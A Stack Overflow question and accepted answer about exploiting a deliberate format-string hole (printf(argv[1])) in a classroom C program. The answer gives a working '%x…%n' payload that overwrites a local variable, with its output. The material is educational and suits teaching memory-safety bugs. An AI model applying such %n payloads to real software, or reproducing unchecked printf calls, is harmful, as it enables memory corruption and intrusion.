Exploiting Printf Vulnerability in C

Question

As part of an assignment, I am expected to exploit the printf() vulnerability in the C code shared below. It should be in a way that when I run the code with a string (eg. ./format "foo"), I should change the "1" in "X equals to 1" with something else. I believe I need to change the value of X variable but if you have a different idea, please do not hesitate to share. Here is the code:

#include <stdio.h>
#include <stdlib.h>
int main (int argc, char **argv)
{
    int *p;
    int x = 1;
    p=&x;
    printf("x=%d, sizeof(x): %zu, %x = %p, sizeof((p):%zu,&p = %p, \n", x, sizeof(x), &x, sizeof(p),&p);
    printf(argv[1]);
    printf("\nX equals: %d \n", x);
    return 0;
}

I do not understand what you are trying to exploit. The printf call does not have enough arguments, and some arguments are of the wrong type for the format specifier. Why would anyone release code like this for you to exploit? — Weather Vane
– Weather Vane, Commented Oct 16, 2017 at 18:30
Its not super clear what you mean by "exploit", you could use an incorrect format specifier. Most of the time it will print nonsense instead of a formatted variable, although it will technically invoke ub and may not have a desired effect. — George
– George, Commented Oct 16, 2017 at 18:32
Well as I pass a String on terminal (e.g ./format "foo"), I can normally only make changes on the output of the printf(argv[1]) line. But as printf(argv[1]) is not exactly a secure way to print out, it can be exploited by using strings such as "%n..." or "%s%s%s...." (for instance, you may read the memory with these strings, etc.). What I need to do is to change the X variable but I cannot find the proper string to change a variable. — Orhan Gazi Yalçın
– Orhan Gazi Yalçın, Commented Oct 16, 2017 at 18:36
You already have an exploit since you do not check argc before printf(argv[1]); — Weather Vane
– Weather Vane, Commented Oct 16, 2017 at 18:47
I found that there is a vulnerability because there is a miss-match between the format string and the actual arguments in the line printf("x=%d, sizeof(x): %zu, %x = %p, sizeof((p):%zu,&p = %p, \n", x, sizeof(x), &x, sizeof(p),&p); and %n is used for inserting code. It is doable because of the mismatch. Trying to figure out how I can use %n without getting a segmentation error 11. @mfro — Orhan Gazi Yalçın
– Orhan Gazi Yalçın, Commented Oct 16, 2017 at 19:41

smbear · Accepted Answer · 2017-10-17 15:57:36Z

9

You can find a pretty decent information (Format string attack) about vulnerabilities in print when no using validations properly.

I played a little with it and when running the program with like this:

./format "Bob %x %x %x %x %x %x %x %x%n"

Will cause the following print:

x=1, sizeof(x): 4, &x = 0x7fffa9c36e14, sizeof((p):8,&p = 0x7fffa9c36e18,
Bob 81688000 81464ab0 3 81688048 3 a9c36f08 400410 a9c36f00
X equals: 59

If you replace the %n with %x you will be able to see the address of the variable x. Because %x reads from the process memory and %n writes to the process memory I was able to change the data inside of x (59 is the number of characters up to %n when printing)

edited Oct 17, 2017 at 15:57

smbear

1,05110 silver badges17 bronze badges

answered Oct 17, 2017 at 15:00

Dror Moyal

4084 silver badges11 bronze badges

Sign up to request clarification or add additional context in comments.

1 Comment

David Over a year ago

can you please see: stackoverflow.com/questions/78683426/…

Collectives™ on Stack Overflow

Exploiting Printf Vulnerability in C

1 Answer 1

1 Comment

Your Answer

Linked

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

1 Comment

Your Answer

Sign up or log in

Post as a guest

Linked

Related